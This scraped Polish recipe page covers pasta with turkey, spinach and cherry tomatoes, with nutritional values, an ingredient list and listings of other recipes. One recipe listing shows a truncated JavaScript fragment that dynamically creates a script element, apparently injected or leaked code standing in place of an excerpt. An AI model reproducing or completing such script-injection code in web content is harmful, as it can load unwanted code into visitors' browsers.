Makaron z indykiem, szpinakiem i pomidorkami koktaljowymi
Źródło: https://wojtigotuje.blogspot.com/2017/05/makaron-z-indykiem-szpinakiem-i.html
Autor: wojti gotuje
Wartosci odzywcze:Energetycznosc posilku: 727,27 kcalBialko: 47,76 gTluszcz: 30,86 gWeglowodany: 67,39 gSkladniki:Filet z indyka - 1,25 porcji (130 g)Makaron pelnoziarnisty - 1 szklanka (75 g)Oliwa z oliwek - 2 lyzki (17 g)Szpinak (swiezy) - 1,25 garsci (22 g)Slonecznik - 1 lyzka (11 g)Ser parmezan - 0,5 porcji (11 g)Orzechy nerkowca - 0,25 garsci (11 g)Pomidorki koktajlowe - 4,5 sztuki (90 ...
Najnowsze przepisy
(function(){ urkn=document.createElement("script");urkn.type ⇖ 9
Są takie przepisy, które od pierwszego kęsa przenoszą... ⇖ 23
Jajka faszerowane pieczarkami, porem i wędzonym łososiem... ⇖ 60
To klasyczne, domowe danie o wyrazistym smaku, idealne na... ⇖ 20
Najprostszy i szybki obiad - kurczak pieczony z warzywami.... ⇖ 29
Na hasło “kuchnia włoska” makaron to często pierwsze... ⇖ 21
Te jajka faszerowane z czosnkiem i twarogiem są niezwykle... ⇖ 19
Stary przepis na ciasto zebra – proste ciasto na oleju... ⇖ 20
Tosty z mięsem mielonym – szybki i pyszny pomysł na... ⇖ 13
Przepisy z bloga
Sałatka wielkanocna fit – czy można zrobić lżejszą... ⇖ 61
Fit przekąski do pracy – 5 pomysłów do 200 kcal Wiele... ⇖ 51
Lekka kolacja do 400 kcal – prosty sposób na zdrowe... ⇖ 62
Fit owsianka z jogurtem i owocami – szybkie śniadanie do... ⇖ 62
Przepisy na czasie
Bardzo pyszne kremowe ciasto, z dwoma masami, brzoskwiniami... ⇖ 1616
Kruche ciasto z budyniem i brzoskwiniami z puszkiKruche... ⇖ 1211
Kostka malinowo-ajerkoniakowa to jedno z tych ciast, które... ⇖ 1115
To proste i szybkie ciasto ucierane na oleju, które zawsze... ⇖ 1085
Taki sernik to u mnie w domu klasyka świąt wielkanocnych.... ⇖ 1074
Jajka z zieloną pastą to smaczna i prosta w przygotowaniu... ⇖ 956
To ciasto ze śliwkami kalifornijskimi jest zaskakująco... ⇖ 940
